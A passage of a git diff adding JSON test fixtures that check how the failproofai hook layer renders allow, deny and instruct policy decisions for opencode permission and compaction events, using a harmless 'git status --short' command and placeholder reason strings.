"cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..328c546c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..fa639456 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5d008417 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..924b1fe4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..216998f1 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..34cfb965 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1e8e5f1f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ce4adac3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ce66696e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..41693159 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6cc54977 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..83c45b8b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8d391abe --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..40f67127 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8ae339c8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..495f0c58 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6fc440a3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9668a799 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": 